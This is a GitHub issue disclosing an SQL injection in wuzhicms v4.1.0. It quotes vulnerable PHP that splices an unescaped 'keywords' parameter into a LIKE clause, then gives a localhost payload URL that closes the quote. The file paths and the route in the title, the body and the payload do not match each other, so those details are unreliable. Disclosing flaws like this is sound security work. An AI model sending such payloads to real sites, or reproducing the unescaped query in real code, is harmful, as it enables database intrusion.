New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

wuzhicms v4.1.0 /coreframe/app/core/admin/copyfrom.php sql injection vulnerability #166

Open
letmejustdoit opened this Issue Dec 28, 2018 · 0 comments

Comments

Projects
None yet
1 participant
@letmejustdoit
Copy link

letmejustdoit commented Dec 28, 2018

Vulnerability file: /coreframe/app/coupon/admin/copyfrom.php:22
public function listing() {  
       $siteid = get_cookie('siteid');  
       $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;  
       $page = max($page,1);  
       if(isset($GLOBALS['keywords'])) {  
           $keywords = $GLOBALS['keywords'];  
           $where = "name LIKE '%$keywords%'";  
       } else {  
           $where = '';  
       }  
   $result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);  
 $pages = $this->db->pages;  
       $total = $this->db->number;  
   include $this->template('copyfrom_listing');  
}  

Payload:
http://127.0.0.1/index.php?m=promote&f=index&v=search&_su=wuzhicms
1
&fieldtype=place&keywords=1111%'*%23

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment